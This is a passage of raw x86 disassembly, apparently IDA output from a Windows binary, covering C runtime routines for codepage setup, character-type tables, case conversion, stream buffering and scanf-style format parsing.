sub_420749+181j or eax, 0FFFFFFFFh loc_4208DD: ; CODE XREF: sub_420749+18Fj pop edi pop esi pop ebx leave retn sub_420749 endp ; =============== S U B R O U T I N E ======================================= sub_4208E2 proc near ; CODE XREF: sub_420749+Cp arg_0 = dword ptr 4 mov eax, [esp+arg_0] and dword_4DBE5C, 0 cmp eax, 0FFFFFFFEh jnz short loc_420902 mov dword_4DBE5C, 1 nop jmp near ptr 2650899h ; --------------------------------------------------------------------------- loc_420902: ; CODE XREF: sub_4208E2+Ej cmp eax, 0FFFFFFFDh jnz short loc_420917 mov dword_4DBE5C, 1 nop jmp near ptr 26508ADh ; --------------------------------------------------------------------------- loc_420917: ; CODE XREF: sub_4208E2+23j cmp eax, 0FFFFFFFCh jnz short locret_42092B mov eax, dword_4DBEA4 mov dword_4DBE5C, 1 locret_42092B: ; CODE XREF: sub_4208E2+38j retn sub_4208E2 endp ; =============== S U B R O U T I N E ======================================= sub_42092C proc near ; CODE XREF: sub_420749+118p ; sub_420749+152p arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub eax, 3A4h jz short loc_420959 sub eax, 4 jz short loc_420953 sub eax, 0Dh jz short loc_42094D dec eax jz short loc_420947 xor eax, eax retn ; --------------------------------------------------------------------------- loc_420947: ; CODE XREF: sub_42092C+16j mov eax, 404h retn ; --------------------------------------------------------------------------- loc_42094D: ; CODE XREF: sub_42092C+13j mov eax, 412h retn ; --------------------------------------------------------------------------- loc_420953: ; CODE XREF: sub_42092C+Ej mov eax, 804h retn ; --------------------------------------------------------------------------- loc_420959: ; CODE XREF: sub_42092C+9j mov eax, 411h retn sub_42092C endp ; =============== S U B R O U T I N E ======================================= sub_42095F proc near ; CODE XREF: sub_420749:loc_4208CCp push edi push 40h pop ecx xor eax, eax mov edi, offset byte_4DD280 rep stosd stosb xor eax, eax mov edi, offset dword_4DD170 mov dword_4DD164, eax mov dword_4DD17C, eax mov dword_4DD384, eax stosd stosd stosd pop edi retn sub_42095F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420988 proc near ; CODE XREF: sub_420749:loc_4208D1p var_514 = byte ptr -514h var_314 = byte ptr -314h var_214 = byte ptr -214h var_114 = byte ptr -114h var_14 = byte ptr -14h var_E = byte ptr -0Eh var_D = byte ptr -0Dh push ebp mov ebp, esp sub esp, 514h lea eax, [ebp+var_14] push esi push eax push dword_4DD164 nop call near ptr 26508CFh cmp eax, 1 jnz loc_420AC1 xor eax, eax mov esi, 100h loc_4209B2: ; CODE XREF: sub_420988+34j mov [ebp+eax+var_114], al inc eax cmp eax, esi jb short loc_4209B2 mov al, [ebp+var_E] mov [ebp+var_114], 20h test al, al jz short loc_420A03 push ebx push edi lea edx, [ebp+var_D] loc_4209D1: ; CODE XREF: sub_420988+77j movzx ecx, byte ptr [edx] movzx eax, al cmp eax, ecx ja short loc_4209F8 sub ecx, eax lea edi, [ebp+eax+var_114] inc ecx mov eax, 20202020h mov ebx, ecx shr ecx, 2 rep stosd mov ecx, ebx and ecx, 3 rep stosb loc_4209F8: ; CODE XREF: sub_420988+51j inc edx inc edx mov al, [edx-1] test al, al jnz short loc_4209D1 pop edi pop ebx loc_420A03: ; CODE XREF: sub_420988+42j push 0 lea eax, [ebp+var_514] push dword_4DD384 push dword_4DD164 push eax lea eax, [ebp+var_114] push esi push eax push 1 call sub_4244F4 push 0 lea eax, [ebp+var_214] push dword_4DD164 push esi push eax lea eax, [ebp+var_114] push esi push eax push esi push dword_4DD384 call sub_4232A8 push 0 lea eax, [ebp+var_314] push dword_4DD164 push esi push eax lea eax, [ebp+var_114] push esi push eax push 200h push dword_4DD384 call sub_4232A8 add esp, 5Ch xor eax, eax lea ecx, [ebp+var_514] loc_420A7E: ; CODE XREF: sub_420988+135j mov dx, [ecx] test dl, 1 jz short loc_420A9C or byte_4DD281[eax], 10h mov dl, [ebp+eax+var_214] loc_420A94: ; CODE XREF: sub_420988+127j mov byte_4DD180[eax], dl jmp short loc_420AB8 ; --------------------------------------------------------------------------- loc_420A9C: ; CODE XREF: sub_420988+FCj test dl, 2 jz short loc_420AB1 or byte_4DD281[eax], 20h mov dl, [ebp+eax+var_314] jmp short loc_420A94 ; --------------------------------------------------------------------------- loc_420AB1: ; CODE XREF: sub_420988+117j and byte_4DD180[eax], 0 loc_420AB8: ; CODE XREF: sub_420988+112j inc eax inc ecx inc ecx cmp eax, esi jb short loc_420A7E jmp short loc_420B0A ; --------------------------------------------------------------------------- loc_420AC1: ; CODE XREF: sub_420988+1Dj xor eax, eax mov esi, 100h loc_420AC8: ; CODE XREF: sub_420988+180j cmp eax, 41h jb short loc_420AE6 cmp eax, 5Ah ja short loc_420AE6 or byte_4DD281[eax], 10h mov cl, al add cl, 20h loc_420ADE: ; CODE XREF: sub_420988+174j mov byte_4DD180[eax], cl jmp short loc_420B05 ; --------------------------------------------------------------------------- loc_420AE6: ; CODE XREF: sub_420988+143j ; sub_420988+148j cmp eax, 61h jb short loc_420AFE cmp eax, 7Ah ja short loc_420AFE or byte_4DD281[eax], 20h mov cl, al sub cl, 20h jmp short loc_420ADE ; --------------------------------------------------------------------------- loc_420AFE: ; CODE XREF: sub_420988+161j ; sub_420988+166j and byte_4DD180[eax], 0 loc_420B05: ; CODE XREF: sub_420988+15Cj inc eax cmp eax, esi jb short loc_420AC8 loc_420B0A: ; CODE XREF: sub_420988+137j pop esi leave retn sub_420988 endp ; =============== S U B R O U T I N E ======================================= sub_420B0D proc near ; CODE XREF: ___:00423684p ; ___:004236E0p ... cmp dword_4DD3B4, 0 jnz short locret_420B28 push 0FFFFFFFDh call sub_420749 pop ecx mov dword_4DD3B4, 1 locret_420B28: ; CODE XREF: sub_420B0D+7j retn sub_420B0D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420B29 proc near ; CODE XREF: sub_41C3B1+2Bp ; sub_41C3B1+A6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp dword_4DD17C, 0 push edi mov edi, [ebp+arg_0] mov [ebp+arg_0], edi jnz short loc_420B4D push [ebp+arg_8] push [ebp+arg_4] push edi call sub_41BFD0 add esp, 0Ch jmp short loc_420BB0 ; --------------------------------------------------------------------------- loc_420B4D: ; CODE XREF: sub_420B29+11j mov edx, [ebp+arg_8] push esi test edx, edx jz short loc_420B92 mov ecx, [ebp+arg_4] loc_420B58: ; CODE XREF: sub_420B29+5Bj mov al, [ecx] dec edx movzx esi, al test byte_4DD281[esi], 4 mov [edi], al jz short loc_420B7C inc edi inc ecx test edx, edx jz short loc_420B88 mov al, [ecx] dec edx mov [edi], al inc edi inc ecx test al, al jz short loc_420B8E jmp short loc_420B82 ; --------------------------------------------------------------------------- loc_420B7C: ; CODE XREF: sub_420B29+3Ej inc edi inc ecx test al, al jz short loc_420B92 loc_420B82: ; CODE XREF: sub_420B29+51j test edx, edx jnz short loc_420B58 jmp short loc_420B92 ; --------------------------------------------------------------------------- loc_420B88: ; CODE XREF: sub_420B29+44j and byte ptr [edi-1], 0 jmp short loc_420B92 ; --------------------------------------------------------------------------- loc_420B8E: ; CODE XREF: sub_420B29+4Fj and byte ptr [edi-2], 0 loc_420B92: ; CODE XREF: sub_420B29+2Aj ; sub_420B29+57j ... mov eax, edx dec edx test eax, eax pop esi jz short loc_420BAD lea ecx, [edx+1] xor eax, eax mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb loc_420BAD: ; CODE XREF: sub_420B29+6Fj mov eax, [ebp+arg_0] loc_420BB0: ; CODE XREF: sub_420B29+22j pop edi pop ebp retn sub_420B29 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420BB3 proc near ; CODE XREF: sub_41C59D+12Bp var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_4DBE94, 0 push ebx jnz short loc_420BDE mov eax, [ebp+arg_0] cmp eax, 61h jl loc_420C7C cmp eax, 7Ah jg loc_420C7C sub eax, 20h jmp loc_420C7C ; --------------------------------------------------------------------------- loc_420BDE: ; CODE XREF: sub_420BB3+Cj mov ebx, [ebp+arg_0] cmp ebx, 100h jge short loc_420C11 cmp dword_43D094, 1 jle short loc_420BFE push 2 push ebx call sub_41FDB5 pop ecx pop ecx jmp short loc_420C09 ; --------------------------------------------------------------------------- loc_420BFE: ; CODE XREF: sub_420BB3+3Dj mov eax, off_43CE88 mov al, [eax+ebx*2] and eax, 2 loc_420C09: ; CODE XREF: sub_420BB3+49j test eax, eax jnz short loc_420C11 loc_420C0D: ; CODE XREF: sub_420BB3+AFj mov eax, ebx jmp short loc_420C7C ; --------------------------------------------------------------------------- loc_420C11: ; CODE XREF: sub_420BB3+34j ; sub_420BB3+58j mov edx, off_43CE88 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_420C34 and byte ptr [ebp+arg_0+2], 0 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl push 2 jmp short loc_420C3D ; --------------------------------------------------------------------------- loc_420C34: ; CODE XREF: sub_420BB3+71j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl push 1 loc_420C3D: ; CODE XREF: sub_420BB3+7Fj pop eax lea ecx, [ebp+var_4] push 1 push 0 push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push 200h push dword_4DBE94 call sub_4232A8 add esp, 20h test eax, eax jz short loc_420C0D cmp eax, 1 jnz short loc_420C6F movzx eax, [ebp+var_4] jmp short loc_420C7C ; --------------------------------------------------------------------------- loc_420C6F: ; CODE XREF: sub_420BB3+B4j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_420C7C: ; CODE XREF: sub_420BB3+14j ; sub_420BB3+1Dj ... pop ebx leave retn sub_420BB3 endp ; =============== S U B R O U T I N E ======================================= sub_420C7F proc near ; CODE XREF: sub_41C7BC+1Dp ; sub_41DC5E+16p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] xor edx, edx mov dword_4DBDF0, ecx mov eax, offset dword_43D1A0 loc_420C90: ; CODE XREF: sub_420C7F+1Ej cmp ecx, [eax] jz short loc_420CB4 add eax, 8 inc edx cmp eax, offset dword_43D308 jl short loc_420C90 cmp ecx, 13h jb short loc_420CC1 cmp ecx, 24h ja short loc_420CC1 mov dword_4DBDEC, 0Dh retn ; --------------------------------------------------------------------------- loc_420CB4: ; CODE XREF: sub_420C7F+13j mov eax, dword_43D1A4[edx*8] mov dword_4DBDEC, eax retn ; --------------------------------------------------------------------------- loc_420CC1: ; CODE XREF: sub_420C7F+23j ; sub_420C7F+28j cmp ecx, 0BCh jb short loc_420CDB cmp ecx, 0CAh mov dword_4DBDEC, 8 jbe short locret_420CE5 loc_420CDB: ; CODE XREF: sub_420C7F+48j mov dword_4DBDEC, 16h locret_420CE5: ; CODE XREF: sub_420C7F+5Aj retn sub_420C7F endp ; =============== S U B R O U T I N E ======================================= sub_420CE6 proc near ; CODE XREF: sub_41C7E6+8p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push dword ptr [esi+10h] call sub_42463D test eax, eax pop ecx jz short loc_420D6F cmp esi, offset dword_43D598 jnz short loc_420D04 xor eax, eax jmp short loc_420D0F ; --------------------------------------------------------------------------- loc_420D04: ; CODE XREF: sub_420CE6+18j cmp esi, offset dword_43D5B8 jnz short loc_420D6F push 1 pop eax loc_420D0F: ; CODE XREF: sub_420CE6+1Cj inc dword_4DBFBC test word ptr [esi+0Ch], 10Ch jnz short loc_420D6F cmp dword_4DBE60[eax*4], 0 push ebx push edi lea edi, ds:4DBE60h[eax*4] mov ebx, 1000h jnz short loc_420D55 push ebx call sub_41BEB5 test eax, eax pop ecx mov [edi], eax jnz short loc_420D55 lea eax, [esi+14h] push 2 mov [esi+8], eax mov [esi], eax pop eax mov [esi+18h], eax mov [esi+4], eax jmp short loc_420D62 ; --------------------------------------------------------------------------- loc_420D55: ; CODE XREF: sub_420CE6+4Dj ; sub_420CE6+5Aj mov edi, [edi] mov [esi+18h], ebx mov [esi+8], edi mov [esi], edi mov [esi+4], ebx loc_420D62: ; CODE XREF: sub_420CE6+6Dj or word ptr [esi+0Ch], 1102h push 1 pop eax pop edi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_420D6F: ; CODE XREF: sub_420CE6+10j ; sub_420CE6+24j ... xor eax, eax pop esi retn sub_420CE6 endp ; =============== S U B R O U T I N E ======================================= sub_420D73 proc near ; CODE XREF: sub_41C7E6+24p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0 push esi jz short loc_420D9D mov esi, [esp+4+arg_4] test byte ptr [esi+0Dh], 10h jz short loc_420DAE push esi call sub_41E42B and byte ptr [esi+0Dh], 0EEh and dword ptr [esi+18h], 0 and dword ptr [esi], 0 and dword ptr [esi+8], 0 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_420D9D: ; CODE XREF: sub_420D73+6j mov eax, [esp+4+arg_4] test byte ptr [eax+0Dh], 10h jz short loc_420DAE push eax call sub_41E42B pop ecx loc_420DAE: ; CODE XREF: sub_420D73+10j ; sub_420D73+32j pop esi retn sub_420D73 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420DB0 proc near ; CODE XREF: sub_41CCE3+2Ap var_1C4 = byte ptr -1C4h var_1C3 = byte ptr -1C3h var_64 = byte ptr -64h var_59 = byte ptr -59h var_44 = dword ptr -44h var_3E = word ptr -3Eh var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_37 = byte ptr -37h var_35 = byte ptr -35h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1C4h and [ebp+var_15], 0 push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx push edi mov al, [esi] mov [ebp+var_4], ebx test al, al mov [ebp+var_34], ebx jz loc_4217B6 mov edi, [ebp+arg_0] jmp short loc_420DDF ; --------------------------------------------------------------------------- loc_420DDA: ; CODE XREF: sub_420DB0+9CEj mov edi, [ebp+arg_0] xor ebx, ebx loc_420DDF: ; CODE XREF: sub_420DB0+28j cmp dword_43D094, 1 jle short loc_420DF7 movzx eax, al push 8 push eax call sub_41FDB5 pop ecx pop ecx jmp short loc_420E06 ; --------------------------------------------------------------------------- loc_420DF7: ; CODE XREF: sub_420DB0+36j mov ecx, off_43CE88 movzx eax, al mov al, [ecx+eax*2] and eax, 8 loc_420E06: ; CODE XREF: sub_420DB0+45j cmp eax, ebx jz short loc_420E40 dec [ebp+var_4] push edi lea eax, [ebp+var_4] push edi push eax call sub_42183D pop ecx pop ecx push eax call sub_421826 movzx eax, byte ptr [esi+1] inc esi push eax call sub_41DF10 add esp, 0Ch loc_420E2E: ; CODE XREF: sub_420DB0+8Ej test eax, eax jz short loc_420E40 movzx eax, byte ptr [esi+1] inc esi push eax call sub_41DF10 pop ecx jmp short loc_420E2E ; --------------------------------------------------------------------------- loc_420E40: ; CODE XREF: sub_420DB0+58j ; sub_420DB0+80j cmp byte ptr [esi], 25h jnz loc_421722 and [ebp+var_35], 0 and [ebp+var_18], 0 and [ebp+var_17], 0 and [ebp+var_E], 0 and [ebp+var_F], 0 and [ebp+var_16], 0 xor edi, edi and [ebp+var_5], 0 mov [ebp+var_1C], ebx mov [ebp+var_20], ebx mov [ebp+var_C], ebx mov [ebp+var_D], 1 mov [ebp+var_30], ebx loc_420E77: ; CODE XREF: sub_420DB0+172j movzx ebx, byte ptr [esi+1] inc esi cmp dword_43D094, 1 jle short loc_420E94 movzx eax, bl push 4 push eax call sub_41FDB5 pop ecx pop ecx jmp short loc_420EA3 ; --------------------------------------------------------------------------- loc_420E94: ; CODE XREF: sub_420DB0+D3j mov ecx, off_43CE88 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_420EA3: ; CODE XREF: sub_420DB0+E2j test eax, eax jz short loc_420EB9 mov eax, [ebp+var_C] inc [ebp+var_20] lea eax, [eax+eax*4] lea eax, [ebx+eax*2-30h] mov [ebp+var_C], eax jmp short loc_420F1E ; --------------------------------------------------------------------------- loc_420EB9: ; CODE XREF: sub_420DB0+F5j cmp ebx, 4Eh jg short loc_420EFC jz short loc_420F1E cmp ebx, 2Ah jz short loc_420EF7 cmp ebx, 46h jz short loc_420F1E cmp ebx, 49h jz short loc_420ED9 cmp ebx, 4Ch jnz short loc_420F0B inc [ebp+var_D] jmp short loc_420F1E ; --------------------------------------------------------------------------- loc_420ED9: ; CODE XREF: sub_420DB0+11Dj cmp byte ptr [esi+1], 36h jnz short loc_420F0B cmp byte ptr [esi+2], 34h lea eax, [esi+2] jnz short loc_420F0B inc [ebp+var_30] and [ebp+var_28], 0 and [ebp+var_24], 0 mov esi, eax jmp short loc_420F1E ; --------------------------------------------------------------------------- loc_420EF7: ; CODE XREF: sub_420DB0+113j inc [ebp+var_E] jmp short loc_420F1E ; --------------------------------------------------------------------------- loc_420EFC: ; CODE XREF: sub_420DB0+10Cj cmp ebx, 68h jz short loc_420F18 cmp ebx, 6Ch jz short loc_420F10 cmp ebx, 77h jz short loc_420F13 loc_420F0B: ; CODE XREF: sub_420DB0+122j ; sub_420DB0+12Dj ... inc [ebp+var_F] jmp short loc_420F1E ; --------------------------------------------------------------------------- loc_420F10: ; CODE XREF: sub_420DB0+154j inc [ebp+var_D] loc_420F13: ; CODE XREF: sub_420DB0+159j inc [ebp+var_5] jmp short loc_420F1E ; --------------------------------------------------------------------------- loc_420F18: ; CODE XREF: sub_420DB0+14Fj dec [ebp+var_D] dec [ebp+var_5] loc_420F1E: ; CODE XREF: sub_420DB0+107j ; sub_420DB0+10Ej ... cmp [ebp+var_F], 0 jz loc_420E77 cmp [ebp+var_E], 0 mov [ebp+arg_4], esi jnz short loc_420F43 mov eax, [ebp+arg_8] mov [ebp+var_44], eax add eax, 4 mov [ebp+arg_8], eax mov eax, [eax-4] mov [ebp+var_2C], eax loc_420F43: ; CODE XREF: sub_420DB0+17Fj and [ebp+var_F], 0 cmp [ebp+var_5], 0 jnz short loc_420F61 mov al, [esi] cmp al, 53h jz short loc_420F5D cmp al, 43h jz short loc_420F5D or [ebp+var_5], 0FFh jmp short loc_420F61 ; --------------------------------------------------------------------------- loc_420F5D: ; CODE XREF: sub_420DB0+1A1j ; sub_420DB0+1A5j mov [ebp+var_5], 1 loc_420F61: ; CODE XREF: sub_420DB0+19Bj ; sub_420DB0+1ABj mov ebx, [ebp+arg_4] movzx esi, byte ptr [ebx] or esi, 20h cmp esi, 6Eh mov [ebp+var_3C], esi jz short loc_420F9A cmp esi, 63h jz short loc_420F8B cmp esi, 7Bh jz short loc_420F8B push [ebp+arg_0] lea eax, [ebp+var_4] push eax call sub_42183D pop ecx jmp short loc_420F96 ; --------------------------------------------------------------------------- loc_420F8B: ; CODE XREF: sub_420DB0+1C5j ; sub_420DB0+1CAj push [ebp+arg_0] inc [ebp+var_4] call sub_42180C loc_420F96: ; CODE XREF: sub_420DB0+1D9j pop ecx mov [ebp+var_14], eax loc_420F9A: ; CODE XREF: sub_420DB0+1C0j xor eax, eax cmp [ebp+var_20], eax jz short loc_420FAA cmp [ebp+var_C], eax jz loc_421786 loc_420FAA: ; CODE XREF: sub_420DB0+1EFj cmp esi, 6Fh jg loc_421211 jz loc_4214C3 cmp esi, 63h jz loc_4211EE cmp esi, 64h jz loc_4214C3 jle loc_42123B cmp esi, 67h jle short loc_42100E cmp esi, 69h jz short loc_420FF6 cmp esi, 6Eh jnz loc_42123B cmp [ebp+var_E], 0 mov edi, [ebp+var_4] jz loc_4216F1 jmp loc_421717 ; --------------------------------------------------------------------------- loc_420FF6: ; CODE XREF: sub_420DB0+229j push 64h pop esi loc_420FF9: ; CODE XREF: sub_420DB0+480j mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz loc_421283 mov [ebp+var_17], 1 jmp loc_421288 ; --------------------------------------------------------------------------- loc_42100E: ; CODE XREF: sub_420DB0+224j mov ebx, [ebp+var_14] lea esi, [ebp+var_1C4] cmp ebx, 2Dh jnz short loc_42102A mov [ebp+var_1C4], bl lea esi, [ebp+var_1C3] jmp short loc_42102F ; --------------------------------------------------------------------------- loc_42102A: ; CODE XREF: sub_420DB0+26Aj cmp ebx, 2Bh jnz short loc_421046 loc_42102F: ; CODE XREF: sub_420DB0+278j mov edi, [ebp+arg_0] dec [ebp+var_C] inc [ebp+var_4] push edi call sub_42180C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_421049 ; --------------------------------------------------------------------------- loc_421046: ; CODE XREF: sub_420DB0+27Dj mov edi, [ebp+arg_0] loc_421049: ; CODE XREF: sub_420DB0+294j cmp [ebp+var_20], 0 jz short loc_421058 cmp [ebp+var_C], 15Dh jle short loc_42105F loc_421058: ; CODE XREF: sub_420DB0+29Dj mov [ebp+var_C], 15Dh loc_42105F: ; CODE XREF: sub_420DB0+2A6j ; sub_420DB0+2F2j cmp dword_43D094, 1 jle short loc_421074 push 4 push ebx call sub_41FDB5 pop ecx pop ecx jmp short loc_42107F ; --------------------------------------------------------------------------- loc_421074: ; CODE XREF: sub_420DB0+2B6j mov eax, off_43CE88 mov al, [eax+ebx*2] and eax, 4 loc_42107F: ; CODE XREF: sub_420DB0+2C2j test eax, eax jz short loc_4210A4 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_4210A4 inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_42180C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_42105F ; --------------------------------------------------------------------------- loc_4210A4: ; CODE XREF: sub_420DB0+2D1j ; sub_420DB0+2DBj cmp byte_43D098, bl jnz short loc_421112 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_421112 inc [ebp+var_4] push edi call sub_42180C mov ebx, eax mov al, byte_43D098 mov [esi], al pop ecx mov [ebp+var_14], ebx inc esi loc_4210CD: ; CODE XREF: sub_420DB0+360j cmp dword_43D094, 1 jle short loc_4210E2 push 4 push ebx call sub_41FDB5 pop ecx pop ecx jmp short loc_4210ED ; --------------------------------------------------------------------------- loc_4210E2: ; CODE XREF: sub_420DB0+324j mov eax, off_43CE88 mov al, [eax+ebx*2] and eax, 4 loc_4210ED: ; CODE XREF: sub_420DB0+330j test eax, eax jz short loc_421112 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_421112 inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_42180C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_4210CD ; --------------------------------------------------------------------------- loc_421112: ; CODE XREF: sub_420DB0+2FAj ; sub_420DB0+304j ... cmp [ebp+var_1C], 0 jz loc_4211AA cmp ebx, 65h jz short loc_42112A cmp ebx, 45h jnz loc_4211AA loc_42112A: ; CODE XREF: sub_420DB0+36Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_4211AA mov byte ptr [esi], 65h inc esi inc [ebp+var_4] push edi call sub_42180C mov ebx, eax pop ecx cmp ebx, 2Dh mov [ebp+var_14], ebx jnz short loc_421151 mov [esi], al inc esi jmp short loc_421156 ; --------------------------------------------------------------------------- loc_421151: ; CODE XREF: sub_420DB0+39Aj cmp ebx, 2Bh jnz short loc_421174 loc_421156: ; CODE XREF: sub_420DB0+39Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jnz short loc_421165 and [ebp+var_C], eax jmp short loc_421174 ; --------------------------------------------------------------------------- loc_421165: ; CODE XREF: sub_420DB0+3AEj ; sub_420DB0+3F8j inc [ebp+var_4] push edi call sub_42180C mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_421174: ; CODE XREF: sub_420DB0+3A4j ; sub_420DB0+3B3j cmp dword_43D094, 1 jle short loc_421189 push 4 push ebx call sub_41FDB5 pop ecx pop ecx jmp short loc_421194 ; --------------------------------------------------------------------------- loc_421189: ; CODE XREF: sub_420DB0+3CBj mov eax, off_43CE88 mov al, [eax+ebx*2] and eax, 4 loc_421194: ; CODE XREF: sub_420DB0+3D7j test eax, eax jz short loc_4211AA mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_4211AA inc [ebp+var_1C] mov [esi], bl inc esi jmp short loc_421165 ; --------------------------------------------------------------------------- loc_4211AA: ; CODE XREF: sub_420DB0+366j ; sub_420DB0+374j ... dec [ebp+var_4] push edi push ebx call sub_421826 cmp [ebp+var_1C], 0 pop ecx pop ecx jz loc_4217B6 cmp [ebp+var_E], 0 jnz loc_421717 inc [ebp+var_34] and byte ptr [esi], 0 lea eax, [ebp+var_1C4] push eax movsx eax, [ebp+var_D] push [ebp+var_2C] dec eax push eax call off_43D438 add esp, 0Ch jmp loc_421717 ; --------------------------------------------------------------------------- loc_4211EE: ; CODE XREF: sub_420DB0+20Cj cmp [ebp+var_20], eax jnz short loc_4211FD inc [ebp+var_C] mov [ebp+var_20], 1 loc_4211FD: ; CODE XREF: sub_420DB0+441j cmp [ebp+var_5], 0 jle short loc_421207 mov [ebp+var_16], 1 loc_421207: ; CODE XREF: sub_420DB0+451j mov edi, offset dword_43D310 jmp loc_42131C ; --------------------------------------------------------------------------- loc_421211: ; CODE XREF: sub_420DB0+1FDj mov eax, esi sub eax, 70h jz loc_4214BF sub eax, 3 jz loc_42130D dec eax dec eax jz loc_4214C3 sub eax, 3 jz loc_420FF9 sub eax, 3 jz short loc_42125F loc_42123B: ; CODE XREF: sub_420DB0+21Bj ; sub_420DB0+22Ej movzx eax, byte ptr [ebx] cmp eax, [ebp+var_14] jnz loc_421786 dec [ebp+var_15] cmp [ebp+var_E], 0 jnz loc_421717 mov eax, [ebp+var_44] mov [ebp+arg_8], eax jmp loc_421717 ; --------------------------------------------------------------------------- loc_42125F: ; CODE XREF: sub_420DB0+489j cmp [ebp+var_5], 0 jle short loc_421269 mov [ebp+var_16], 1 loc_421269: ; CODE XREF: sub_420DB0+4B3j mov edi, [ebp+arg_4] inc edi mov [ebp+arg_4], edi cmp byte ptr [edi], 5Eh jnz loc_421320 mov eax, edi lea edi, [eax+1] jmp loc_42131C ; --------------------------------------------------------------------------- loc_421283: ; CODE XREF: sub_420DB0+24Fj cmp ebx, 2Bh jnz short loc_4212AA loc_421288: ; CODE XREF: sub_420DB0+259j dec [ebp+var_C] jnz short loc_421299 cmp [ebp+var_20], 0 jz short loc_421299 mov [ebp+var_F], 1 jmp short loc_4212AA ; --------------------------------------------------------------------------- loc_421299: ; CODE XREF: sub_420DB0+4DBj ; sub_420DB0+4E1j push [ebp+arg_0] inc [ebp+var_4] call sub_42180C mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_4212AA: ; CODE XREF: sub_420DB0+4D6j ; sub_420DB0+4E7j cmp ebx, 30h jnz loc_4214F8 push [ebp+arg_0] inc [ebp+var_4] call sub_42180C mov ebx, eax pop ecx cmp bl, 78h mov [ebp+var_14], ebx jz short loc_4212F8 cmp bl, 58h jz short loc_4212F8 cmp esi, 78h mov [ebp+var_1C], 1 jz short loc_4212E2 push 6Fh loc_4212DC: ; CODE XREF: sub_420DB0+55Bj pop esi jmp loc_4214F8 ; --------------------------------------------------------------------------- loc_4212E2: ; CODE XREF: sub_420DB0+528j push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_421826 pop ecx pop ecx push 30h pop ebx jmp loc_4214F5 ; --------------------------------------------------------------------------- loc_4212F8: ; CODE XREF: sub_420DB0+517j ; sub_420DB0+51Cj push [ebp+arg_0] inc [ebp+var_4] call sub_42180C pop ecx mov ebx, eax mov [ebp+var_14], ebx push 78h jmp short loc_4212DC ; --------------------------------------------------------------------------- loc_42130D: ; CODE XREF: sub_420DB0+46Fj cmp [ebp+var_5], 0 jle short loc_421317 mov [ebp+var_16], 1 loc_421317: ; CODE XREF: sub_420DB0+561j mov edi, offset dword_43D308 loc_42131C: ; CODE XREF: sub_420DB0+45Cj ; sub_420DB0+4CEj or [ebp+var_18], 0FFh loc_421320: ; CODE XREF: sub_420DB0+4C3j push 20h lea eax, [ebp+var_64] push 0 push eax call sub_41BF70 add esp, 0Ch cmp [ebp+var_3C], 7Bh jnz short loc_421344 cmp byte ptr [edi], 5Dh jnz short loc_421344 mov dl, 5Dh inc edi mov [ebp+var_59], 20h jmp short loc_421347 ; --------------------------------------------------------------------------- loc_421344: ; CODE XREF: sub_420DB0+584j ; sub_420DB0+589j mov dl, [ebp+var_35] loc_421347: ; CODE XREF: sub_420DB0+592j ; sub_420DB0+5E1j ... mov al, [edi] cmp al, 5Dh jz short loc_4213AC inc edi cmp al, 2Dh jnz short loc_421393 test dl, dl jz short loc_421393 mov cl, [edi] cmp cl, 5Dh jz short loc_421393 inc edi cmp dl, cl jnb short loc_421366 mov al, cl jmp short loc_42136A ; --------------------------------------------------------------------------- loc_421366: ; CODE XREF: sub_420DB0+5B0j mov al, dl mov dl, cl loc_42136A: ; CODE XREF: sub_420DB0+5B4j cmp dl, al ja short loc_42138F movzx edx, dl movzx esi, al sub esi, edx inc esi loc_421377: ; CODE XREF: sub_420DB0+5DDj mov ecx, edx mov eax, edx and ecx, 7 mov bl, 1 shr 